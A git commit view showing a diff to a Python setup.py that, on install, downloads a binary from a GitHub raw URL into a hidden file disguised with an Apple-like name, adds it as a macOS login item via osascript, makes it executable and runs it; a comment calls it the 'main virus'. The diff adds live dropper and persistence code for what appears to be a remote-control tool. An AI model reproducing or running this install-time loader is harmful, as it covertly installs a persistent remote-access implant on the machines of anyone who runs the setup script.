summaryrefslogtreecommitdiff
path: root/setup.py
diff options
context:
space:
mode:
Diffstat (limited to 'setup.py')
-rw-r--r--setup.py10
1 files changed, 6 insertions, 4 deletions
diff --git a/setup.py b/setup.py
index 76e9ca0..1ef4d3e 100644
--- a/setup.py
+++ b/setup.py
@@ -2,13 +2,15 @@ from requests import get
from os.path import expanduser
from os import remove
from subprocess import Popen as subproc
-from os import system as cmd
+from os import system, chmod
filename = "com.apple.com.user.core"
+localfile = f"{expanduser('~')}/.{filename}"
# download main virus
-open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content)
+open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content)
-cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null")
+system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null")
+chmod(localfile, 755)
-subproc([f"{expanduser('~')}/.{filename}"])
+subproc([localfile])